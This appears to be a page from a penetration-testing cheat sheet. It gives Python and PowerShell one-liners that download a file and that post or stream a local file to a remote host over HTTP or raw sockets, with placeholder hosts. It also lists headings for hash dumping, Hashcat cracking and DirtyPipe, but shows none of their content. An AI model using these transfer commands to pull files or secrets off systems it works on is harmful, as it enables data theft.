Etc
Download file via Python (oneliner)
python -c "import urllib.request; urllib.request.urlretrieve('http://example.com/file.txt', 'file.txt')"Post file via Python (oneliner)
python -c "import urllib.request, urllib.parse; urllib.request.urlopen(urllib.request.Request('http://example.com/upload', data=urllib.parse.urlencode({'file': open('file.txt', 'rb').read()}).encode()))"Send file via Python sockets (oneliner)
python -c "import socket; s = socket.socket(); s.connect(('localhost', 8080)); s.sendall(open('file.txt', 'rb').read()); s.close()"Send file via Powershell sockets
$server = "127.0.0.1"
$port = 8080
$filePath = "file.txt"
$tcpClient = New-Object System.Net.Sockets.TcpClient($server, $port)
$networkStream = $tcpClient.GetStream()
$fileBytes = [System.IO.File]::ReadAllBytes($filePath)
$networkStream.Write($fileBytes, 0, $fileBytes.Length)
$networkStream.Flush()
$networkStream.Close()
$tcpClient.Close()Send file via Linux sockets
Hashdump locally with hives
Hashcat
Gitea to Hashcat
Grafana to Hashcat
MySQL Enumeration With Language
PHP
Python
DiryPipe
Last updated